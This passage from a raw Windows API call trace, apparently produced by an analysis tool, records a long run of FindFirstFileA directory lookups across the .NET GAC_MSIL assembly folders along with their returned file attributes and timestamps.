lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36680c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7dbcc20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7dbcc20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.374] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4dfd6c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7de2d80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7de2d80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.379] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36da4e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7de2d80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7de2d80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.384] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa310a250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7de2d80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7de2d80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.389] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x587e0ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e08ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7e08ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.394] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa310a250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e08ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7e08ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.399] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58a8e790, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e08ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7e08ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.407] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf511d3a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7e2f040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7e2f040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.412] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3c81920, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7e2f040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7e2f040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.417] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd21a68, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7e2f040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7e2f040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.422] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7e551a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7e551a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.428] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7e551a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7e551a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.433] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7e551a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7e551a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.439] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7e7b300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7e7b300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.444] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7e7b300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7e7b300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.449] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7e7b300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7e7b300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.455] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7ea1460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ea1460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.460] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7ea1460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ea1460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.465] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7ea1460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ea1460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.470] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7ec75c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ec75c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.475] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7ec75c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ec75c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.480] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7ec75c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ec75c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.487] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7eed720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7eed720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.492] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7eed720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7eed720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.497] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7eed720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7eed720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.502] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7f13880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7f13880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.507] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7f13880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7f13880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.512] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7f13880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7f13880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.517] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7f399e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7f399e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.523] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7f399e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7f399e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.528] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7f399e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7f399e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.533] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7f5fb40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7f5fb40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.538] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7f5fb40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7f5fb40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.544] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7f5fb40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7f5fb40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.552] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7f85ca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7f85ca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.558] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7f85ca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7f85ca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.564] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7fabe00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7fabe00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.571] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fabe00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7fabe00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.576] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fd1f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7fd1f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.581] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7fd1f60, 